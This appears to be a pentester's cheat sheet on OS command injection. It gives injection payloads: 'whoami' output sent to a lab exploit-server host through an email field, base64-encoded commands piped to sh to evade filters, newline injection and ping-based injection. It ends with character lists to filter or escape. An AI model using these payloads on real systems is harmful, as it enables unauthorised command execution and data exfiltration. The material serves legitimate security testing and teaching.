OS Command Injection

• Testing for Command Injection (WSTG-INPV-012)
• Commix
• SecLists

In command injection testing testers will try to inject an OS command through an HTTP request into the application. An OS Command Injection attack breaks the following pattern:

Input -> OS Command == OS Command Injection

💡 See labs WebSecurityAcademy (PortSwigger) – OS command injection.

Examples

In email address input

💡 Use exploit server from PortSwigger labs 😉 You can use this lab.

$(whoami)@<EXPLOIT SERVER ID>.exploit-server.net

Examples when some characters are not allowed

Execute “ls -l”

base64 -d <<< bHMgLWwgLwo= | sh
$(base64 -d <<< bHMgLWwgLwo=)

Add new line

$(<%0a127.0.0.1)  # %0a: new line
$(<%0d127.0.0.1)  # %0d: carriage return

Examples “ping”

command=ping -c 5 IP

127.0.0.1%0awhoami

command=ping -c 5
{ } ( ) > < *  | = ? ; [ ] $  # ~ ! .  %  / \ :   , `

Escape or filter special characters for windows
( ) < > & * ‘ | = ? ; [ ] ^ ~ ! . ” % @ / \ : + , ` 

Escape or filter special characters for Linux
{ } ( ) > < & * ‘ | = ? ; [ ] $ – # ~ ! . ” %  / \ : + , `